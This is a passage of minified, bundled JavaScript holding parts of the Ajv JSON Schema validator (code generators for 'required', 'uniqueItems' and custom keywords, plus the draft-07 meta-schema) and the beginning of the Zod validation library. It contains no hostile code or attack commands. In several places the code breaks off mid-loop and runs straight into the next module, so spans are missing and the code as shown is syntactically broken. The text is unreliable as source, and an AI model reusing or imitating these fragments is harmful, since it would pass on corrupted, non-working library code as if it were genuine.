$=e.errorPath,V=c||v.length>=e.opts.loopRequired,M=e.opts.ownProperties;if(h)if(r+=" var missing"+n+"; ",V){c||(r+=" var "+_+" = validate.schema"+f+"; ");var A="i"+n,q="schema"+n+"["+A+"]",F="' + "+q+" + '";e.opts._errorDataPathProperty&&(e.errorPath=e.util.getPathExpr($,q,e.opts.jsonPointers)),r+=" var "+E+" = true; ",c&&(r+=" if (schema"+n+" === undefined) "+E+" = true; else if (!Array.isArray(schema"+n+")) "+E+" = false; else {"),r+=" for (var "+A+" = 0; "+A+" < "+_+".length; "+A+"++) { "+E+" = "+m+"["+_+"["+A+"]] !== undefined ",M&&(r+=" && Object.prototype.hasOwnProperty.call("+m+", "+_+"["+A+"]) "),r+="; if (!"+E+") break; } ",c&&(r+=" } "),r+=" if (!"+E+") { ";var L=L||[];L.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'required' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { missingProperty: '"+F+"' } ",e.opts.messages!==!1&&(r+=" , message: '",e.opts._errorDataPathProperty?r+="is a required property":r+="should have required property \\'"+F+"\\'",r+="' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var O=r;r=L.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+O+"]); ":r+=" validate.errors = ["+O+"]; return false; ":r+=" var err = "+O+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } else { "}else{r+=" if ( ";var C=v;if(C)for(var j,A=-1,ie=C.length-1;A{"use strict";Ii.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c=e.opts.$data&&i&&i.$data,y;if(c?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",y="schema"+n):y=i,(i||c)&&e.opts.uniqueItems!==!1){c&&(r+=" var "+E+"; if ("+y+" === false || "+y+" === undefined) "+E+" = true; else if (typeof "+y+" != 'boolean') "+E+" = false; else { "),r+=" var i = "+m+".length , "+E+" = true , j; if (i > 1) { ";var _=e.schema.items&&e.schema.items.type,v=Array.isArray(_);if(!_||_=="object"||_=="array"||v&&(_.indexOf("object")>=0||_.indexOf("array")>=0))r+=" outer: for (;i--;) { for (j = i; j--;) { if (equal("+m+"[i], "+m+"[j])) { "+E+" = false; break outer; } } } ";else{r+=" var itemIndices = {}, item; for (;i--;) { var item = "+m+"[i]; ";var P="checkDataType"+(v?"s":"");r+=" if ("+e.util[P](_,"item",e.opts.strictNumbers,!0)+") continue; ",v&&(r+=` if (typeof item == 'string') item = '"' + item; `),r+=" if (typeof itemIndices[item] == 'number') { "+E+" = false; j = itemIndices[item]; break; } itemIndices[item] = i; } "}r+=" } ",c&&(r+=" } "),r+=" if (!"+E+") { ";var T=T||[];T.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'uniqueItems' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { i: i, j: j } ",e.opts.messages!==!1&&(r+=" , message: 'should NOT have duplicate items (items ## ' + j + ' and ' + i + ' are identical)' "),e.opts.verbose&&(r+=" , schema: ",c?r+="validate.schema"+f:r+=""+i,r+=" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var x=r;r=T.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+x+"]); ":r+=" validate.errors = ["+x+"]; return false; ":r+=" var err = "+x+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } ",h&&(r+=" else { ")}else h&&(r+=" if (true) { ");return r}});var Ci=B((ph,Ai)=>{"use strict";Ai.exports={$ref:zn(),allOf:Bn(),anyOf:Zn(),$comment:Gn(),const:Yn(),contains:ei(),dependencies:ti(),enum:si(),format:ii(),if:li(),items:ui(),maximum:es(),minimum:es(),maxItems:rs(),minItems:rs(),maxLength:ts(),minLength:ts(),maxProperties:as(),minProperties:as(),multipleOf:vi(),not:yi(),oneOf:Ei(),pattern:bi(),properties:xi(),propertyNames:Ri(),required:Oi(),uniqueItems:$i(),validate:Ya()}});var Ni=B((mh,ki)=>{"use strict";var Di=Ci(),ss=zr().toHash;ki.exports=function(){var e=[{type:"number",rules:[{maximum:["exclusiveMaximum"]},{minimum:["exclusiveMinimum"]},"multipleOf","format"]},{type:"string",rules:["maxLength","minLength","pattern","format"]},{type:"array",rules:["maxItems","minItems","items","contains","uniqueItems"]},{type:"object",rules:["maxProperties","minProperties","required","dependencies","propertyNames",{properties:["additionalProperties","patternProperties"]}]},{rules:["$ref","const","enum","not","anyOf","oneOf","allOf","if"]}],t=["type","$comment"],s=["$schema","$id","id","$data","$async","title","description","default","definitions","examples","readOnly","writeOnly","contentMediaType","contentEncoding","additionalItems","then","else"],r=["number","integer","string","array","object","boolean","null"];return e.all=ss(t),e.types=ss(r),e.forEach(function(n){n.rules=n.rules.map(function(l){var i;if(typeof l=="object"){var f=Object.keys(l)[0];i=l[f],l=f,i.forEach(function(h){t.push(h),e.all[h]=!0})}t.push(l);var d=e.all[l]={keyword:l,code:Di[l],implements:i};return d}),e.all.$comment={keyword:"$comment",code:Di.$comment},n.type&&(e.types[n.type]=n)}),e.keywords=ss(t.concat(s)),e.custom={},e}});var Fi=B((vh,ji)=>{"use strict";var Li=["multipleOf","maximum","exclusiveMaximum","minimum","exclusiveMinimum","maxLength","minLength","pattern","additionalItems","maxItems","minItems","uniqueItems","maxProperties","minProperties","required","additionalProperties","enum","format","const"];ji.exports=function(a,e){for(var t=0;t{"use strict";var Ku=Xt().MissingRef;qi.exports=Mi;function Mi(a,e,t){var s=this;if(typeof this._opts.loadSchema!="function")throw new Error("options.loadSchema should be a function");typeof e=="function"&&(t=e,e=void 0);var r=n(a).then(function(){var i=s._addSchema(a,void 0,e);return i.validate||l(i)});return t&&r.then(function(i){t(null,i)},t),r;function n(i){var f=i.$schema;return f&&!s.getSchema(f)?Mi.call(s,{$ref:f},!0):Promise.resolve()}function l(i){try{return s._compile(i)}catch(d){if(d instanceof Ku)return f(d);throw d}function f(d){var h=d.missingSchema;if(c(h))throw new Error("Schema "+h+" is loaded but "+d.missingRef+" cannot be resolved");var m=s._loadingSchemas[h];return m||(m=s._loadingSchemas[h]=s._opts.loadSchema(h),m.then(E,E)),m.then(function(y){if(!c(h))return n(y).then(function(){c(h)||s.addSchema(y,h,void 0,e)})}).then(function(){return l(i)});function E(){delete s._loadingSchemas[h]}function c(y){return s._refs[y]||s._schemas[y]}}}}});var Hi=B((yh,Vi)=>{"use strict";Vi.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m,E="data"+(l||""),c="valid"+n,y="errs__"+n,_=e.opts.$data&&i&&i.$data,v;_?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",v="schema"+n):v=i;var P=this,T="definition"+n,x=P.definition,R="",I,$,V,M,A;if(_&&x.$data){A="keywordValidate"+n;var q=x.validateSchema;r+=" var "+T+" = RULES.custom['"+t+"'].definition; var "+A+" = "+T+".validate;"}else{if(M=e.useCustomRule(P,i,e.schema,e),!M)return;v="validate.schema"+f,A=M.code,I=x.compile,$=x.inline,V=x.macro}var F=A+".errors",L="i"+n,O="ruleErr"+n,C=x.async;if(C&&!e.async)throw new Error("async keyword in sync schema");if($||V||(r+=""+F+" = null;"),r+="var "+y+" = errors;var "+c+";",_&&x.$data&&(R+="}",r+=" if ("+v+" === undefined) { "+c+" = true; } else { ",q&&(R+="}",r+=" "+c+" = "+T+".validateSchema("+v+"); if ("+c+") { ")),$)x.statements?r+=" "+M.validate+" ":r+=" "+c+" = "+M.validate+"; ";else if(V){var j=e.util.copy(e),R="";j.level++;var ie="valid"+j.level;j.schema=M.validate,j.schemaPath="";var J=e.compositeRule;e.compositeRule=j.compositeRule=!0;var X=e.validate(j).replace(/validate\.schema/g,A);e.compositeRule=j.compositeRule=J,r+=" "+X}else{var G=G||[];G.push(r),r="",r+=" "+A+".call( ",e.opts.passContext?r+="this":r+="self",I||x.schema===!1?r+=" , "+E+" ":r+=" , "+v+" , "+E+" , validate.schema"+e.schemaPath+" ",r+=" , (dataPath || '')",e.errorPath!='""'&&(r+=" + "+e.errorPath);var H=l?"data"+(l-1||""):"parentData",fe=l?e.dataPathArr[l]:"parentDataProperty";r+=" , "+H+" , "+fe+" , rootData ) ";var Pe=r;r=G.pop(),x.errors===!1?(r+=" "+c+" = ",C&&(r+="await "),r+=""+Pe+"; "):C?(F="customErrors"+n,r+=" var "+F+" = null; try { "+c+" = await "+Pe+"; } catch (e) { "+c+" = false; if (e instanceof ValidationError) "+F+" = e.errors; else throw e; } "):r+=" "+F+" = null; "+c+" = "+Pe+"; "}if(x.modifying&&(r+=" if ("+H+") "+E+" = "+H+"["+fe+"];"),r+=""+R,x.valid)h&&(r+=" if (true) { ");else{r+=" if ( ",x.valid===void 0?(r+=" !",V?r+=""+ie:r+=""+c):r+=" "+!x.valid+" ",r+=") { ",m=P.keyword;var G=G||[];G.push(r),r="";var G=G||[];G.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '"+(m||"custom")+"' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { keyword: '"+P.keyword+"' } ",e.opts.messages!==!1&&(r+=` , message: 'should pass "`+P.keyword+`" keyword validation' `),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+E+" "),r+=" } "):r+=" {} ";var Te=r;r=G.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+Te+"]); ":r+=" validate.errors = ["+Te+"]; return false; ":r+=" var err = "+Te+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ";var te=r;r=G.pop(),$?x.errors?x.errors!="full"&&(r+=" for (var "+L+"="+y+"; "+L+"{Gu.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"http://json-schema.org/draft-07/schema#",title:"Core schema meta-schema",definitions:{schemaArray:{type:"array",minItems:1,items:{$ref:"#"}},nonNegativeInteger:{type:"integer",minimum:0},nonNegativeIntegerDefault0:{allOf:[{$ref:"#/definitions/nonNegativeInteger"},{default:0}]},simpleTypes:{enum:["array","boolean","integer","null","number","object","string"]},stringArray:{type:"array",items:{type:"string"},uniqueItems:!0,default:[]}},type:["object","boolean"],properties:{$id:{type:"string",format:"uri-reference"},$schema:{type:"string",format:"uri"},$ref:{type:"string",format:"uri-reference"},$comment:{type:"string"},title:{type:"string"},description:{type:"string"},default:!0,readOnly:{type:"boolean",default:!1},examples:{type:"array",items:!0},multipleOf:{type:"number",exclusiveMinimum:0},maximum:{type:"number"},exclusiveMaximum:{type:"number"},minimum:{type:"number"},exclusiveMinimum:{type:"number"},maxLength:{$ref:"#/definitions/nonNegativeInteger"},minLength:{$ref:"#/definitions/nonNegativeIntegerDefault0"},pattern:{type:"string",format:"regex"},additionalItems:{$ref:"#"},items:{anyOf:[{$ref:"#"},{$ref:"#/definitions/schemaArray"}],default:!0},maxItems:{$ref:"#/definitions/nonNegativeInteger"},minItems:{$ref:"#/definitions/nonNegativeIntegerDefault0"},uniqueItems:{type:"boolean",default:!1},contains:{$ref:"#"},maxProperties:{$ref:"#/definitions/nonNegativeInteger"},minProperties:{$ref:"#/definitions/nonNegativeIntegerDefault0"},required:{$ref:"#/definitions/stringArray"},additionalProperties:{$ref:"#"},definitions:{type:"object",additionalProperties:{$ref:"#"},default:{}},properties:{type:"object",additionalProperties:{$ref:"#"},default:{}},patternProperties:{type:"object",additionalProperties:{$ref:"#"},propertyNames:{format:"regex"},default:{}},dependencies:{type:"object",additionalProperties:{anyOf:[{$ref:"#"},{$ref:"#/definitions/stringArray"}]}},propertyNames:{$ref:"#"},const:!0,enum:{type:"array",items:!0,minItems:1,uniqueItems:!0},type:{anyOf:[{$ref:"#/definitions/simpleTypes"},{type:"array",items:{$ref:"#/definitions/simpleTypes"},minItems:1,uniqueItems:!0}]},format:{type:"string"},contentMediaType:{type:"string"},contentEncoding:{type:"string"},if:{$ref:"#"},then:{$ref:"#"},else:{$ref:"#"},allOf:{$ref:"#/definitions/schemaArray"},anyOf:{$ref:"#/definitions/schemaArray"},oneOf:{$ref:"#/definitions/schemaArray"},not:{$ref:"#"}},default:!0}});var Bi=B((Eh,Wi)=>{"use strict";var zi=ns();Wi.exports={$id:"https://github.com/ajv-validator/ajv/blob/master/lib/definition_schema.js",definitions:{simpleTypes:zi.definitions.simpleTypes},type:"object",dependencies:{schema:["validate"],$data:["validate"],statements:["inline"],valid:{not:{required:["macro"]}}},properties:{type:zi.properties.type,schema:{type:"boolean"},statements:{type:"boolean"},dependencies:{type:"array",items:{type:"string"}},metaSchema:{type:"object"},modifying:{type:"boolean"},valid:{type:"boolean"},$data:{type:"boolean"},async:{type:"boolean"},errors:{anyOf:[{type:"boolean"},{const:"full"}]}}}});var Zi=B((Sh,Qi)=>{"use strict";var Ju=/^[a-z_$][a-z0-9_$-]*$/i,Yu=Hi(),Xu=Bi();Qi.exports={add:ed,get:rd,remove:td,validate:is};function ed(a,e){var t=this.RULES;if(t.keywords[a])throw new Error("Keyword "+a+" is already defined");if(!Ju.test(a))throw new Error("Keyword "+a+" is not a valid identifier");if(e){this.validateKeyword(e,!0);var s=e.type;if(Array.isArray(s))for(var r=0;r{ad.exports={$schema:"http://json-schema.org/draft-07/schema#",$id:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#",description:"Meta-schema for $data reference (JSON Schema extension proposal)",type:"object",required:["$data"],properties:{$data:{type:"string",anyOf:[{format:"relative-json-pointer"},{format:"json-pointer"}]}},additionalProperties:!1}});var no=B((Ph,so)=>{"use strict";var Ji=On(),Wr=Yt(),sd=$n(),Yi=Wa(),nd=Ja(),id=Vn(),od=Ni(),Xi=Fi(),eo=zr();so.exports=pe;pe.prototype.validate=cd;pe.prototype.compile=ud;pe.prototype.addSchema=dd;pe.prototype.addMetaSchema=fd;pe.prototype.validateSchema=hd;pe.prototype.getSchema=md;pe.prototype.removeSchema=gd;pe.prototype.addFormat=wd;pe.prototype.errorsText=xd;pe.prototype._addSchema=yd;pe.prototype._compile=_d;pe.prototype.compileAsync=Ui();var oa=Zi();pe.prototype.addKeyword=oa.add;pe.prototype.getKeyword=oa.get;pe.prototype.removeKeyword=oa.remove;pe.prototype.validateKeyword=oa.validate;var ro=Xt();pe.ValidationError=ro.Validation;pe.MissingRefError=ro.MissingRef;pe.$dataMetaSchema=Xi;var ia="http://json-schema.org/draft-07/schema",Gi=["removeAdditional","useDefaults","coerceTypes","strictDefaults"],ld=["/properties"];function pe(a){if(!(this instanceof pe))return new pe(a);a=this._opts=eo.copy(a)||{},Ad(this),this._schemas={},this._refs={},this._fragments={},this._formats=id(a.format),this._cache=a.cache||new sd,this._loadingSchemas={},this._compilations=[],this.RULES=od(),this._getId=Ed(a),a.loopRequired=a.loopRequired||1/0,a.errorDataPath=="property"&&(a._errorDataPathProperty=!0),a.serialize===void 0&&(a.serialize=nd),this._metaOpts=$d(this),a.formats&&Od(this),a.keywords&&Id(this),Rd(this),typeof a.meta=="object"&&this.addMetaSchema(a.meta),a.nullable&&this.addKeyword("nullable",{metaSchema:{type:"boolean"}}),Td(this)}function cd(a,e){var t;if(typeof a=="string"){if(t=this.getSchema(a),!t)throw new Error('no schema with key or ref "'+a+'"')}else{var s=this._addSchema(a);t=s.validate||this._compile(s)}var r=t(e);return t.$async!==!0&&(this.errors=t.errors),r}function ud(a,e){var t=this._addSchema(a,void 0,e);return t.validate||this._compile(t)}function dd(a,e,t,s){if(Array.isArray(a)){for(var r=0;r_l,DIRTY:()=>Or,EMPTY_PATH:()=>Jo,INVALID:()=>z,NEVER:()=>ac,OK:()=>we,ParseStatus:()=>be,Schema:()=>K,ZodAny:()=>gr,ZodArray:()=>fr,ZodBigInt:()=>$r,ZodBoolean:()=>Ar,ZodBranded:()=>gt,ZodCatch:()=>Vr,ZodDate:()=>Cr,ZodDefault:()=>Ur,ZodDiscriminatedUnion:()=>Ct,ZodEffects:()=>Ve,ZodEnum:()=>Mr,ZodError:()=>Ae,ZodFirstPartyTypeKind:()=>W,ZodFunction:()=>kt,ZodIntersection:()=>Lr,ZodIssueCode:()=>w,ZodLazy:()=>jr,ZodLiteral:()=>Fr,ZodMap:()=>st,ZodNaN:()=>it,ZodNativeEnum:()=>qr,ZodNever:()=>Qe,ZodNull:()=>kr,ZodNullable:()=>tr,ZodNumber:()=>Ir,ZodObject:()=>Ce,ZodOptional:()=>qe,ZodParsedType:()=>k,ZodPipeline:()=>yt,ZodPromise:()=>yr,ZodReadonly:()=>Hr,ZodRecord:()=>Dt,ZodSchema:()=>K,ZodSet:()=>nt,ZodString:()=>vr,ZodSymbol:()=>tt,ZodTransformer:()=>Ve,ZodTuple:()=>rr,ZodType:()=>K,ZodUndefined:()=>Dr,ZodUnion:()=>Nr,ZodUnknown:()=>dr,ZodVoid:()=>at,addIssueToContext:()=>D,any:()=>Ol,array:()=>Cl,bigint:()=>Pl,boolean:()=>Fs,coerce:()=>tc,custom:()=>Ns,date:()=>xl,datetimeRegex:()=>Ds,defaultErrorMap:()=>cr,discriminatedUnion:()=>Ll,effect:()=>Zl,enum:()=>Wl,function:()=>Vl,getErrorMap:()=>Xr,getParsedType:()=>er,instanceof:()=>Sl,intersection:()=>jl,isAborted:()=>$t,isAsync:()=>et,isDirty:()=>At,isValid:()=>mr,late:()=>El,lazy:()=>Hl,literal:()=>zl,makeIssue:()=>vt,map:()=>ql,nan:()=>bl,nativeEnum:()=>Bl,never:()=>$l,null:()=>Tl,nullable:()=>Gl,number:()=>js,object:()=>Dl,objectUtil:()=>Sa,oboolean:()=>rc,onumber:()=>ec,optional:()=>Kl,ostring:()=>Xl,pipeline:()=>Yl,preprocess:()=>Jl,promise:()=>Ql,quotelessJson:()=>Zo,record:()=>Ml,set:()=>Ul,setErrorMap:()=>Go,strictObject:()=>kl,string:()=>Ls,symbol:()=>wl,transformer:()=>Zl,tuple:()=>Fl,undefined:()=>Rl,union:()=>Nl,unknown:()=>Il,util:()=>Y,void:()=>Al});var Y;(function(a){a.assertEqual=r=>{};function e(r){}a.assertIs=e;function t(r){throw new Error}a.assertNever=t,a.arrayToEnum=r=>{let n={};for(let l of r)n[l]=l;return n},a.getValidEnumValues=r=>{let n=a.objectKeys(r).filter(i=>typeof r[r[i]]!="number"),l={};for(let i of n)l[i]=r[i];return a.objectValues(l)},a.objectValues=r=>a.objectKeys(r).map(function(n){return r[n]}),a.objectKeys=typeof Object.keys=="function"?r=>Object.keys(r):r=>{let n=[];for(let l in r)Object.prototype.hasOwnProperty.call(r,l)&&n.push(l);return n},a.find=(r,n)=>{for(let l of r)if(n(l))return l},a.isInteger=typeof Number.isInteger=="function"?r=>Number.isInteger(r):r=>typeof r=="number"&&Number.isFinite(r)&&Math.floor(r)===r;function s(r,n=" | "){return r.map(l=>typeof l=="string"?`'${l}'`:l).join(n)}a.joinValues=s,a.jsonStringifyReplacer=(r,n)=>typeof n=="bigint"?n.toString():n})(Y||(Y={}));var Sa;(function(a){a.mergeShapes=(e,t)=>({...e,...t})})(Sa||(Sa={}));var k=Y.arrayToEnum(["string","nan","number","integer","float","boolean","date","bigint","symbol","function","undefined","null","array","object","unknown","promise","void","never","map","set"]),er=a=>{switch(typeof a){case"undefined":return k.undefined;case"string":return k.string;case"number":return Number.isNaN(a)?k.nan:k.number;case"boolean":return k.boolean;case"function":return k.function;case"bigint":return k.bigint;case"symbol":return k.symbol;case"object":return Array.isArray(a)?k.array:a===null?k.null:a.then&&typeof a.then=="function"&&a.catch&&typeof a.catch=="function"?k.promise:typeof Map<"u"&&a instanceof Map?k.map:typeof Set<"u"&&a instanceof Set?k.set:typeof Date<"u"&&a instanceof Date?k.date:k.object;default:return k.unknown}};var w=Y.arrayToEnum(["invalid_type","invalid_literal","custom","invalid_union","invalid_union_discriminator","invalid_enum_value","unrecognized_keys","invalid_arguments","invalid_return_type","invalid_date","invalid_string","too_small","too_big","invalid_intersection_types","not_multiple_of","not_finite"]),Zo=a=>JSON.stringify(a,null,2).replace(/"([^"]+)":/g,"$1:"),Ae=class a extends Error{get errors(){return this.issues}constructor(e){super(),this.issues=[],this.addIssue=s=>{this.issues=[...this.issues,s]},this.addIssues=(s=[])=>{this.issues=[...this.issues,...s]};let t=new.target.prototype;Object.setPrototypeOf?Object.setPrototypeOf(this,t):this.__proto__=t,this.name="ZodError",this.issues=e}format(e){let t=e||function(n){return n.message},s={_errors:[]},r=n=>{for(let l of n.issues)if(l.code==="invalid_union")l.unionErrors.map(r);else if(l.code==="invalid_return_type")r(l.returnTypeError);else if(l.code==="invalid_arguments")r(l.argumentsError);else if(l.path.length===0)s._errors.push(t(l));else{let i=s,f=0;for(;ft.message){let t={},s=[];for(let r of this.issues)if(r.path.length>0){let n=r.path[0];t[n]=t[n]||[],t[n].push(e(r))}else s.push(e(r));return{formErrors:s,fieldErrors:t}}get formErrors(){return this.flatten()}};Ae.create=a=>new Ae(a);var Ko=(a,e)=>{let t;switch(a.code){case w.invalid_type:a.received===k.undefined?t="Required":t=`Expected ${a.expected}, received ${a.received}`;break;case w.invalid_literal:t=`Invalid literal value, expected ${JSON.stringify(a.expected,Y.jsonStringifyReplacer)}`;break;case w.unrecognized_keys:t=`Unrecognized key(s) in object: ${Y.joinValues(a.keys,", ")}`;break;case w.invalid_union:t="Invalid input";break;case w.invalid_union_discriminator:t=`Invalid discriminator value. Expected ${Y.joinValues(a.options)}`;break;case w.invalid_enum_value:t=`Invalid enum value. Expected ${Y.joinValues(a.options)}, received '${a.received}'`;break;case w.invalid_arguments:t="Invalid function arguments";break;case w.invalid_return_type:t="Invalid function return type";break;case w.invalid_date:t="Invalid date";break;case w.invalid_string:typeof a.validation=="object"?"includes"in a.validation?(t=`Invalid input: must include "${a.validation.includes}"`,typeof a.validation.position=="number"&&(t=`${t} at one or more positions greater than or equal to ${a.validation.position}`)):"startsWith"in a.validation?t=`Invalid input: must start with "${a.validation.startsWith}"`:"endsWith"in a.validation?t=`Invalid input: must end with "${a.validation.endsWith}"`:Y.assertNever(a.validation):a.validation!=="regex"?t=`Invalid ${a.validation}`:t="Invalid";break;case w.too_small:a.type==="array"?t=`Array must contain ${a.exact?"exactly":a.inclusive?"at least":"more than"} ${a.minimum} element(s)`:a.type==="string"?t=`String must contain ${a.exact?"exactly":a.inclusive?"at least":"over"} ${a.minimum} character(s)`:a.type==="number"?t=`Number must be ${a.exact?"exactly equal to ":a.inclusive?"greater than or equal to ":"greater than "}${a.minimum}`:a.type==="bigint"?t=`Number must be ${a.exact?"exactly equal to ":a.inclusive?"greater than or equal to ":"greater than "}${a.minimum}`:a.type==="date"?t=`Date must be ${a.exact?"exactly equal to ":a.inclusive?"greater than or equal to ":"greater than "}${new Date(Number(a.minimum))}`:t="Invalid input";break;case w.too_big:a.type==="array"?t=`Array must contain ${a.exact?"exactly":a.inclusive?"at most":"less than"} ${a.maximum} element(s)`:a.type==="string"?t=`String must contain ${a.exact?"exactly":a.inclusive?"at most":"under"} ${a.maximum} character(s)`:a.type==="number"?t=`Number must be ${a.exact?"exactly":a.inclusive?"less than or equal to":"less than"} ${a.maximum}`:a.type==="bigint"?t=`BigInt must be ${a.exact?"exactly":a.inclusive?"less than or equal to":"less than"} ${a.maximum}`:a.type==="date"?t=`Date must be ${a.exact?"exactly":a.inclusive?"smaller than or equal to":"smaller than"} ${new Date(Number(a.maximum))}`:t="Invalid input";break;case w.custom:t="Invalid input";break;case w.invalid_intersection_types:t="Intersection results could not be merged";break;case w.not_multiple_of:t=`Number must be a multiple of ${a.multipleOf}`;break;case w.not_finite:t="Number must be finite";break;default:t=e.defaultError,Y.assertNever(a)}return{message:t}},cr=Ko;var Os=cr;function Go(a){Os=a}function Xr(){return Os}var vt=a=>{let{data:e,path:t,errorMaps:s,issueData:r}=a,n=[...t,...r.path||[]],l={...r,path:n};if(r.message!==void 0)return{...r,path:n,message:r.message};let i="",f=s.filter(d=>!!d).slice().reverse();for(let d of f)i=d(l,{data:e,defaultError:i}).message;return{...r,path:n,message:i}},Jo=[];function D(a,e){let t=Xr(),s=vt({issueData:e,data:a.data,path:a.path,errorMaps:[a.common.contextualErrorMap,a.schemaErrorMap,t,t===cr?void 0:cr].filter(r=>!!r)});a.common.issues.push(s)}var be=class a{constructor(){this.value="valid"}dirty(){this.value==="valid"&&(this.value="dirty")}abort(){this.value!=="aborted"&&(this.value="aborted")}static mergeArray(e,t){let s=[];for(let r of t){if(r.status==="aborted")return z;r.status==="dirty"&&e.dirty(),s.push(r.value)}return{status:e.value,value:s}}static async mergeObjectAsync(e,t){let s=[];for(let r of t){let n=await r.key,l=await r.value;s.push({key:n,value:l})}return a.mergeObjectSync(e,s)}static mergeObjectSync(e,t){let s={};for(let r of t){let{key:n,value:l}=r;if(n.status==="aborted"||l.status==="aborted")return z;n.status==="dirty"&&e.dirty(),l.status==="dirty"&&e.dirty(),n.value!=="__proto__"&&(typeof l.value<"u"||r.alwaysSet)&&(s[n.value]=l.value)}return{status:e.value,value:s}}},z=Object.freeze({status:"aborted"}),Or=a=>({status:"dirty",value:a}),we=a=>({status:"valid",value:a}),$t=a=>a.status==="aborted",At=a=>a.status==="dirty",mr=a=>a.status==="valid",et=a=>typeof Promise<"u"&&a instanceof Promise;var U;(function(a){a.errToObj=e=>typeof e=="string"?{message:e}:e||{},a.toString=e=>typeof e=="string"?e:e?.message})(U||(U={}));var Ue=class{constructor(e,t,s,r){this._cachedPath=[],this.parent=e,this.data=t,this._path=s,this._key=r}get path(){return this._cachedPath.length||(Array.isArray(this._key)?this._cachedPath.push(...this._path,...this._key):this._cachedPath.push(...this._path,this._key)),this._cachedPath}},Is=(a,e)=>{if(mr(e))return{success:!0,data:e.value};if(!a.common.issues.length)throw new Error("Validation failed but no issues detected.");return{success:!1,get error(){if(this._error)return this._error;let t=new Ae(a.common.issues);return this._error=t,this._error}}};function Q(a){if(!a)return{};let{errorMap:e,invalid_type_error:t,required_error:s,description:r}=a;if(e&&(t||s))throw new Error(`Can't use "invalid_type_error" or "required_error" in conjunction with custom error map.`);return e?{errorMap:e,description:r}:{errorMap:(l,i)=>{let{message:f}=a;return l.code==="invalid_enum_value"?{message:f??i.defaultError}:typeof i.data>"u"?{message:f??s??i.defaultError}:l.code!=="invalid_type"?{message:i.defaultError}:{message:f??t??i.defaultError}},description:r}}var K=class{get description(){return this._def.description}_getType(e){return er(e.data)}_getOrReturnCtx(e,t){return t||{common:e.parent.common,data:e.data,parsedType:er(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}_processInputParams(e){return{status:new be,ctx:{common:e.parent.common,data:e.data,parsedType:er(e.data),schemaErrorMap:this._def.errorMap,path:e.path,parent:e.parent}}}_parseSync(e){let t=this._parse(e);if(et(t))throw new Error("Synchronous parse encountered promise.");return t}_parseAsync(e){let t=this._parse(e);return Promise.resolve(t)}parse(e,t){let s=this.safeParse(e,t);if(s.success)return s.data;throw s.error}safeParse(e,t){let s={common:{issues:[],async:t?.async??!1,contextualErrorMap:t?.errorMap},path:t?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:er(e)},r=this._parseSync({data:e,path:s.path,parent:s});return Is(s,r)}"~validate"(e){let t={common:{issues:[],async:!!this["~standard"].async},path:[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:er(e)};if(!this["~standard"].async)try{let s=this._parseSync({data:e,path:[],parent:t});return mr(s)?{value:s.value}:{issues:t.common.issues}}catch(s){s?.message?.toLowerCase()?.includes("encountered")&&(this["~standard"].async=!0),t.common={issues:[],async:!0}}return this._parseAsync({data:e,path:[],parent:t}).then(s=>mr(s)?{value:s.value}:{issues:t.common.issues})}async parseAsync(e,t){let s=await this.safeParseAsync(e,t);if(s.success)return s.data;throw s.error}async safeParseAsync(e,t){let s={common:{issues:[],contextualErrorMap:t?.errorMap,async:!0},path:t?.path||[],schemaErrorMap:this._def.errorMap,parent:null,data:e,parsedType:er(e)},r=this._parse({data:e,path:s.path,parent:s}),n=await(et(r)?r:Promise.resolve(r));return Is(s,n)}refine(e,t){let s=r=>typeof t=="string"||typeof t>"u"?{message:t}:typeof t=="function"?t(r):t;return this._refinement((r,n)=>{let l=e(r),i=()=>n.addIssue({code:w.custom,...s(r)});return typeof Promise<"u"&&l instanceof Promise?l.then(f=>f?!0:(i(),!1)):l?!0:(i(),!1)})}refinement(e,t){return this._refinement((s,r)=>e(s)?!0:(r.addIssue(typeof t=="function"?t(s,r):t),!1))}_refinement(e){return new Ve({schema:this,typeName:W.ZodEffects,effect:{type:"refinement",refinement:e}})}superRefine(e){return 